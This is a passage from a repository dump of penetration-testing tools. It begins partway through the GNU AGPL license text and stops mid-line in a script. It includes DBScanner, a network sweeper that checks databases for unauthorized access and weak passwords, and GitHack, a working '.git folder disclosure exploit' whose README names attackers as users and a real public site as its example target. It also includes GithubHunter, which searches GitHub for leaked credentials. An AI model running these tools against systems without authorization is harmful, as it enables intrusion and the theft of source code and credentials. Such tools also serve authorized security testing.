relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<http://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "DBScanner/README.md",
    "content": "# DBScanner\n自动扫描内网常见sql、no-sql数据库脚本(mysql、mssql、oracle、postgresql、redis、mongodb、memcached、elasticsearch)，包含未授权访问及常规弱口令检测\n\n![](https://github.com/se55i0n/DBScanner/blob/master/scan.png)\n"
  },
  {
    "path": "DBScanner/about oracle.txt",
    "content": "关于oracle需要安装客户端支持\n\nhttps://oracle.github.io/odpi/doc/installation.html#macos\nhttps://www.zhihu.com/question/19629769/answer/123755085"
  },
  {
    "path": "DBScanner/dbscan.py",
    "content": "#!/usr/bin/env python\n#coding:utf-8\n#Author:se55i0n\n#针对常见sql、No-sql数据库进行安全检查\nimport sys\nimport IPy\nimport time\nimport socket\nimport gevent\nimport argparse\nfrom gevent import monkey\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom lib.config import *\nfrom lib.exploit import *\n\nmonkey.patch_all()\n\nclass DBScanner(object):\n\tdef __init__(self, target, thread):\n\t\tself.target = target\n\t\tself.thread = thread\n\t\tself.ips    = []\n\t\tself.ports  = []\n\t\tself.time   = time.time()\n\t\tself.get_ip()\n\t\tself.get_port()\n\t\tself.check = check()\n\t\n\tdef get_ip(self):\n\t\t#获取待扫描地址段\n\t\tfor ip in IPy.IP(self.target):\n\t\t\tself.ips.append(str(ip))\n\n\tdef get_port(self):\n\t\tself.ports = list(p for p in service.itervalues())\n\n\tdef scan(self, ip, port):\n\t\ttry:\n\t\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\ts.settimeout(0.2)\n\t\t\tif s.connect_ex((ip, port)) == 0:\n\t\t\t\tself.handle(ip, port)\n\t\texcept Exception as e:\n\t\t\tpass\n\t\tfinally:\n\t\t\ts.close()\n\n\tdef handle(self, ip, port):\n\t\tfor v,k in service.iteritems():\n\t\t\tif k == str(port):\n\t\t\t\tif v == 'mysql':\n\t\t\t\t\tself.check.mysql(ip)\n\t\t\t\telif v == 'mssql':\n\t\t\t\t\tself.check.mssql(ip)\n\t\t\t\telif v == 'oracle':\n\t\t\t\t\tself.check.oracle(ip)\n\t\t\t\telif v == 'postgresql':\n\t\t\t\t\tself.check.postgresql(ip)\n\t\t\t\telif v == 'redis':\n\t\t\t\t\tself.check.redis(ip)\n\t\t\t\telif v == 'mongodb':\n\t\t\t\t\tself.check.mongodb(ip)\n\t\t\t\telif v == 'memcached':\n\t\t\t\t\tself.check.memcached(ip)\n\t\t\t\telse:\n\t\t\t\t\tself.check.elasticsearch(ip)\n\n\tdef start(self, ip):\n\t\ttry:\n\t\t\tgevents = []\n\t\t\tfor port in self.ports:\n\t\t\t\tgevents.append(gevent.spawn(self.scan, ip, int(port)))\n\t\t\tgevent.joinall(gevents)\n\t\texcept Exception as e:\n\t\t\tpass\n\n\tdef run(self):\n\t\ttry:\n\t\t\tpool = ThreadPool(processes=self.thread)\n\t\t\tpool.map_async(self.start, self.ips).get(0xffff)\n\t\t\tpool.close()\n\t\t\tpool.join()\n\t\texcept Exception as e:\n\t\t\tpass\n\t\texcept KeyboardInterrupt:\n\t\t\tprint u'\\n{}[-] 用户终止扫描...{}'.format(R, W)\n\t\t\tsys.exit(1)\n\t\tfinally:\n\t\t\tprint '-'*55\n\t\t\tprint u'{}[+] 扫描完成耗时 {} 秒.{}'.format(O, time.time()-self.time, W) \n\ndef banner():\n\tbanner = '''\n    ____  ____ _____\n   / __ \\/ __ ) ___/_________ _____  ____  ___  _____\n  / / / / __  \\__ \\/ ___/ __ `/ __ \\/ __ \\/ _ \\/ ___/\n / /_/ / /_/ /__/ / /__/ /_/ / / / / / / /  __/ /\n/_____/_____/____/\\___/\\__,_/_/ /_/_/ /_/\\___/_/\n    '''\n\tprint B + banner + W\n\tprint '-'*55\n\ndef main():\n\tbanner()\n\tparser = argparse.ArgumentParser(description='Example: python {} 192.168.1.0/24'.format(sys.argv[0]))\n\tparser.add_argument('target', help=u'192.168.1.0/24')\n\tparser.add_argument('-t', type=int, default=50, dest='thread', help=u'线程数(默认50)')\n\targs   = parser.parse_args()\n\tmyscan = DBScanner(args.target, args.thread)\n\tmyscan.run()\n\nif __name__ == '__main__':\n\tmain()\n"
  },
  {
    "path": "Github_Leak/GitHack-master/GitHack.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nimport sys\nimport urllib2\nimport os\nimport urlparse\nimport zlib\nimport threading\nimport Queue\nimport re\nimport time\nfrom lib.parser import parse\n\n\nif len(sys.argv) == 1:\n    msg = \"\"\"\n\nA `.git` folder disclosure exploit. By LiJieJie\n\nUsage: GitHack.py http://www.target.com/.git/\n\nbug-report: my[at]lijiejie.com (http://www.lijiejie.com)\n\"\"\"\n    print msg\n    sys.exit(0)\n\n\nclass Scanner(object):\n    def __init__(self):\n        self.base_url = sys.argv[-1]\n        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')\n        if not os.path.exists(self.domain):\n            os.mkdir(self.domain)\n        print '[+] Download and parse index file ...'\n        data = urllib2.urlopen(sys.argv[-1] + '/index').read()\n        with open('index', 'wb') as f:\n            f.write(data)\n        self.queue = Queue.Queue()\n        for entry in parse('index'):\n            if \"sha1\" in entry.keys():\n                self.queue.put((entry[\"sha1\"].strip(), entry[\"name\"].strip()))\n        self.lock = threading.Lock()\n        self.thread_count = 20\n        self.STOP_ME = False\n\n    def get_back_file(self):\n        while not self.STOP_ME:\n            try:\n                sha1, file_name = self.queue.get(timeout=0.5)\n            except:\n                break\n            for i in range(3):\n                try:\n                    folder = '/objects/%s/' % sha1[:2]\n                    data = urllib2.urlopen(self.base_url + folder + sha1[2:]).read()\n                    data = zlib.decompress(data)\n                    data = re.sub('blob \\d+\\00', '', data)\n                    target_dir = os.path.join(self.domain, os.path.dirname(file_name) )\n                    if target_dir and not os.path.exists(target_dir):\n                        os.makedirs(target_dir)\n                    with open( os.path.join(self.domain, file_name) , 'wb') as f:\n                        f.write(data)\n                    self.lock.acquire()\n                    print '[OK] %s' % file_name\n                    self.lock.release()\n                    break\n                except urllib2.HTTPError, e:\n                    if str(e).find('HTTP Error 404') >=0: break\n                except Exception, e:\n                    pass\n        self.exit_thread()\n\n    def exit_thread(self):\n        self.lock.acquire()\n        self.thread_count -= 1\n        self.lock.release()\n\n    def scan(self):\n        for i in range(self.thread_count):\n            t = threading.Thread(target=self.get_back_file)\n            t.start()\n\n\ns = Scanner()\ns.scan()\ntry:\n    while s.thread_count > 0:\n        time.sleep(0.1)\nexcept KeyboardInterrupt, e:\n    s.STOP_ME = True\n    time.sleep(1.0)\n    print 'User Aborted.'"
  },
  {
    "path": "Github_Leak/GitHack-master/README.md",
    "content": "GitHack\n=\n\nGitHack is a `.git` folder disclosure exploit. \n\nIt rebuild source code from .git folder while keep directory structure unchanged.\n\nGitHack是一个.git泄露利用脚本，通过泄露的.git文件夹下的文件，重建还原工程源代码。\n\n渗透测试人员、攻击者，可以进一步审计代码，挖掘：文件上传，SQL注射等安全漏洞。\n\n## 脚本的工作原理 ##\n\n* 解析.git/index文件，找到工程中所有的： ( 文件名，文件sha1 )\n* 去.git/objects/ 文件夹下下载对应的文件\n* zlib解压文件，按原始的目录结构写入源代码\n\n## 它的优点 ##\n\n* 速度快，默认20个工作线程\n* 尽量还原所有的源代码，缺失部分文件不影响脚本工作\n* 脚本不需要执行额外的git命令，All you need is python\n* 脚本无需浏览目录\n\n## 可能的改进##\n\n* 存在文件被gc打包到git\\objects\\pack的情况，稍后可测试下看能否直接获取并解压这个文件，还原源代码\n\n##用法示例##\n    GitHack.py http://www.openssl.org/.git/\n\n##反馈##\n* my[at]lijiejie.com  \n* [http://www.lijiejie.com](http://www.lijiejie.com)\n\n##Thanks##\nThanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin)\n\n"
  },
  {
    "path": "Github_Leak/GitHack-master/lib/__init__.py",
    "content": ""
  },
  {
    "path": "Github_Leak/GitHack-master/lib/parser.py",
    "content": "#!/usr/bin/env python\n#\n# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt\n#\n\nimport binascii\nimport collections\nimport mmap\nimport struct\nimport sys\n\n\ndef check(boolean, message):\n    if not boolean:\n        import sys\n        print \"error: \" + message\n        sys.exit(1)\n\n\ndef parse(filename, pretty=True):\n    with open(filename, \"rb\") as o:\n        f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)\n\n        def read(format):\n            # \"All binary numbers are in network byte order.\"\n            # Hence \"!\" = network order, big endian\n            format = \"! \" + format\n            bytes = f.read(struct.calcsize(format))\n            return struct.unpack(format, bytes)[0]\n\n        index = collections.OrderedDict()\n\n        # 4-byte signature, b\"DIRC\"\n        index[\"signature\"] = f.read(4).decode(\"ascii\")\n        check(index[\"signature\"] == \"DIRC\", \"Not a Git index file\")\n\n        # 4-byte version number\n        index[\"version\"] = read(\"I\")\n        check(index[\"version\"] in {2, 3},\n            \"Unsupported version: %s\" % index[\"version\"])\n\n        # 32-bit number of index entries, i.e. 4-byte\n        index[\"entries\"] = read(\"I\")\n\n        yield index\n\n        for n in range(index[\"entries\"]):\n            entry = collections.OrderedDict()\n\n            entry[\"entry\"] = n + 1\n\n            entry[\"ctime_seconds\"] = read(\"I\")\n            entry[\"ctime_nanoseconds\"] = read(\"I\")\n            if pretty:\n                entry[\"ctime\"] = entry[\"ctime_seconds\"]\n                entry[\"ctime\"] += entry[\"ctime_nanoseconds\"] / 1000000000\n                del entry[\"ctime_seconds\"]\n                del entry[\"ctime_nanoseconds\"]\n\n            entry[\"mtime_seconds\"] = read(\"I\")\n            entry[\"mtime_nanoseconds\"] = read(\"I\")\n            if pretty:\n                entry[\"mtime\"] = entry[\"mtime_seconds\"]\n                entry[\"mtime\"] += entry[\"mtime_nanoseconds\"] / 1000000000\n                del entry[\"mtime_seconds\"]\n                del entry[\"mtime_nanoseconds\"]\n\n            entry[\"dev\"] = read(\"I\")\n            entry[\"ino\"] = read(\"I\")\n\n            # 4-bit object type, 3-bit unused, 9-bit unix permission\n            entry[\"mode\"] = read(\"I\")\n            if pretty:\n                entry[\"mode\"] = \"%06o\" % entry[\"mode\"]\n\n            entry[\"uid\"] = read(\"I\")\n            entry[\"gid\"] = read(\"I\")\n            entry[\"size\"] = read(\"I\")\n\n            entry[\"sha1\"] = binascii.hexlify(f.read(20)).decode(\"ascii\")\n            entry[\"flags\"] = read(\"H\")\n\n            # 1-bit assume-valid\n            entry[\"assume-valid\"] = bool(entry[\"flags\"] & (0b10000000 << 8))\n            # 1-bit extended, must be 0 in version 2\n            entry[\"extended\"] = bool(entry[\"flags\"] & (0b01000000 << 8))\n            # 2-bit stage (?)\n            stage_one = bool(entry[\"flags\"] & (0b00100000 << 8))\n            stage_two = bool(entry[\"flags\"] & (0b00010000 << 8))\n            entry[\"stage\"] = stage_one, stage_two\n            # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF)\n            namelen = entry[\"flags\"] & 0xFFF\n\n            # 62 bytes so far\n            entrylen = 62\n\n            if entry[\"extended\"] and (index[\"version\"] == 3):\n                entry[\"extra-flags\"] = read(\"H\")\n                # 1-bit reserved\n                entry[\"reserved\"] = bool(entry[\"extra-flags\"] & (0b10000000 << 8))\n                # 1-bit skip-worktree\n                entry[\"skip-worktree\"] = bool(entry[\"extra-flags\"] & (0b01000000 << 8))\n                # 1-bit intent-to-add\n                entry[\"intent-to-add\"] = bool(entry[\"extra-flags\"] & (0b00100000 << 8))\n                # 13-bits unused\n                # used = entry[\"extra-flags\"] & (0b11100000 << 8)\n                # check(not used, \"Expected unused bits in extra-flags\")\n                entrylen += 2\n\n            if namelen < 0xFFF:\n                entry[\"name\"] = f.read(namelen).decode(\"utf-8\", \"replace\")\n                entrylen += namelen\n            else:\n                # Do it the hard way\n                name = []\n                while True:\n                    byte = f.read(1)\n                    if byte == \"\\x00\":\n                        break\n                    name.append(byte)\n                entry[\"name\"] = b\"\".join(name).decode(\"utf-8\", \"replace\")\n                entrylen += 1\n\n            padlen = (8 - (entrylen % 8)) or 8\n            nuls = f.read(padlen)\n            check(set(nuls) == set(['\\x00']), \"padding contained non-NUL\")\n            \n            yield entry\n                \n        f.close()\n\n\n\n\n\n"
  },
  {
    "path": "Github_Leak/Github-Hunter-master/GithubHunter.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport configparser\nimport os\nimport re\nimport smtplib\nimport sqlite3\nimport sys\nimport traceback\nfrom email import encoders\nfrom email.header import Header\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import formataddr, parseaddr\nfrom time import gmtime, sleep, strftime\n\nimport requests\nfrom lxml import etree\nfrom lxml.html import tostring\nfrom tqdm import tqdm\n\n\n'''\n工具名:GithubHunter\n作者：Allen_Zhang\n主要用途：本工具主要是查询Github中可能泄露的代码，用户名，密码，数据库信息，网络结构信息等\n实现方法：通过登陆Github后，搜索关键词，然后呈现数据\n'''\n\ndef login_github(username,password):#登陆Github\n    #初始化参数\n    login_url = 'https://github.com/login'\n    session_url = 'https://github.com/session'\n    try:\n        #获取session\n        s = requests.session()\n        resp = s.get(login_url).text\n        dom_tree = etree.HTML(resp)\n        key = dom_tree.xpath('//input[@name=\"authenticity_token\"]/@value')\n        user_data = {\n            'commit': 'Sign in',\n            'utf8': '✓',\n            'authenticity_token': key,\n            'login': username,\n            'password': password\n        }\n        #发送数据并登陆\n        s.post(session_url,data=user_data)\n        s.get('https://github.com/settings/profile')\n        return s\n    except Exception as e:\n        print('产生异常，请检查网络设置及用户名和密码')\n        error_Record(str(e), traceback.format_exc())\n\ndef hunter(gUser, gPass, keywords):#根据关键词获取想要查询的内容\n\n    print('''\\033[1;34;0m     #####                                  #     #                                   \n    #     # # ##### #    # #    # #####     #     # #    # #    # ##### ###### #####  \n    #       #   #   #    # #    # #    #    #     # #    # ##   #   #   #      #    # \n    #  #### #   #   ###### #    # #####     ####### #    # # #  #   #   #####  #    # \n    #     # #   #   #    # #    # #    #    #     # #    # #  # #   #   #      #####  \n    #     # #   #   #    # #    # #    #    #     # #    # #   ##   #   #      #   #  \n     #####  #   #   #    #  ####  #####     #     #  ####  #    #   #   ###### #    #    V1.2 \n                                                                                         Created by Allen   \\r\\n\\r\\n\\033[0m''')\n\n    global codes\n    global tUrls\n    try:\n        #代码搜索\n        s = login_github(gUser,gPass)\n        print('登陆成功，正在检索泄露信息.......')\n        sleep(1)\n        codes = []\n        tUrls = []\n        #新加入2条正则匹配，第一条匹配搜索出来的代码部分；第二条则进行高亮显示关键词\n        pattern_code = re.compile(r'<div class=\"file-box blob-wrapper\">(.*?)</div>', re.S)\n        pattern_sub = re.compile(r'<em>', re.S)\n        for keyword in keywords:\n            for page in tqdm(range(1,7)):\n                #更改搜索排序方式的url，收录可能存在泄漏的url还是使用xpath解析\n                search_code = 'https://github.com/search?o=desc&p=' + str(page) + '&q=' + keyword +'&s=indexed&type=Code'\n                resp = s.get(search_code)\n                results_code = resp.text\n                dom_tree_code = etree.HTML(results_code)\n                #获取存在信息泄露的链接地址\n                Urls = dom_tree_code.xpath('//div[@class=\"flex-auto min-width-0 col-10\"]/a[2]/@href')\n                for url in Urls:\n                    url = 'https://github.com' + url\n                    tUrls.append(url)\n                #获取代码部分，先获得整个包含泄露代码的最上层DIV对象，再把对象进行字符化，便于使用正则进行匹配泄露代码部分的div\n                results = dom_tree_code.xpath('//div[@class=\"code-list-item col-12 py-4 code-list-item-public \"]')\n                for div in results:\n                    result = etree.tostring(div, pretty_print=True, method=\"html\")\n                    code = str(result, encoding='utf-8')\n                    #如果存在<div class=\"file-box blob-wrapper\">此标签则匹配泄露的关键代码部分，不存在则为空。\n                    if '<div class=\"file-box blob-wrapper\">' in code:\n                        data = pattern_code.findall(code)\n                        codes.append(pattern_sub.sub('<em style=\"color:red\">', data[0]))\n                    else:\n                        codes.append(' ')\n\n        return tUrls, codes\n\n    except Exception as e:\n        #如发生错误，则写入文件并且打印出来\n        error_Record(str(e), traceback.format_exc())\n        print(e)\n\ndef insert_DB(url, code):\n    try:\n        conn = sqlite3.connect('hunter.db')\n        cursor = conn.cursor()\n        cursor.execute('CREATE TABLE IF NOT EXISTS Baseline (url varchar(1000) primary key, code varchar(10000))')\n        cursor.execute('INSERT OR REPLACE INTO Baseline (url, code) values (?,?)', (url, code))\n        cursor.close\n        conn.commit()\n        conn.close()\n    except Exception as e:\n        print(\"数据库操作失败！\\n\")\n        error_Record(str(e), traceback.format_exc())\n        print(e)\n\ndef compare_DB_Url(url):\n    try:\n        con = sqlite3.connect('hunter.db')\n        cur = con.cursor()\n        cur.execute('SELECT url from Baseline where url = ?', (url,))\n        results = cur.fetchall()\n        cur.close()\n        con.commit()\n        con.close()\n        return results\n    except Exception as e:\n        error_Record(str(e), traceback.format_exc())\n        print(e)\n\ndef error_Record(error, tb):\n    try:\n        if os.path.exists('error.txt'):\n            with open('error.txt', 'a', encoding='utf-8') as f:\n                f.write(strftime(\"%a, %d %b %Y %H:%M:%S\",gmtime()) + \"-\" + \"Exception Record: \" + error + '\\n' + \"具体错误信息如下：\\n\" +tb + '\\r\\n')\n        else:\n            with open('error.txt', 'w', encoding='utf-8') as f:\n                f.write(strftime(\"%a, %d %b %Y %H:%M:%S\",gmtime()) + \"-\" + \"Exception Record: \" + error + '\\n' + \"具体错误信息如下：\\n\" +tb + '\\r\\n')\n    except Exception as e:\n        print(e)\n\ndef send_mail(host, username, password, sender, receivers, message): \n    def _format_addr(s):\n        name,addr = parseaddr(s)\n        return formataddr((Header(name,'utf-8').encode(),addr))\n\n    msg = MIMEText(message, 'html', 'utf-8')\n    subject = 'Github信息泄露监控通知'\n    msg['Subject'] = Header(subject, 'utf-8').encode()\n    msg['From'] = _format_addr('Github信息泄露监控<%s>' % sender)\n    msg['To'] = ','.join(receivers)\n    try:\n        smtp_obj = smtplib.SMTP(host, 25)\n        smtp_obj.login(username, password)\n        smtp_obj.sendmail(sender, receivers, msg.as_string())\n        print('邮件发送成功！')\n        smtp_obj.close()\n    except Exception as err:\n        error_Record(str(err), traceback.format_exc())\n        print(err)\n\nif __name__ == '__main__':\n    config = configparser.ConfigParser()\n    config.read('info.ini')\n    g_User = config['Github']['user']\n    g_Pass = config['Github']['password']\n    host = config['EMAIL']['host']\n    m_User = config['EMAIL']['user']\n    m_Pass = config['EMAIL']['password']\n    m_sender = config['SENDER']['sender']\n    receivers = []\n    for k in config['RECEIVER']:\n        receivers.append(config['RECEIVER'][k])\n    keywords = []\n    #组合关键词，keyword + payload,两者之间加入“+”号，符合Github搜索语法\n    for keyword in config['KEYWORD']:\n        for payload in config['PAYLOADS']:\n            keywords.append(config['KEYWORD'][keyword] + '+' + config['PAYLOADS'][payload])\n\n    message = 'Dear all<br><br>未发现任何新增敏感信息！'\n    tUrls, codes= hunter(g_User, g_Pass, keywords)\n    target_codes = []\n    #第一次运行会查找是否存在数据文件，如果不存在则新建，存在则进行新增条目查找\n    if os.path.exists('hunter.db'):\n        print(\"存在数据库文件，进行新增数据查找......\")\n        #拆分关键词，在泄露的代码中查找关键词和payload.如果两者都存在则进行下一步数据库查找\n        for keyword in keywords:\n            payload = keyword.split('+')\n            for i in range(0, len(tUrls)):\n                if (payload[0] in codes[i]) and 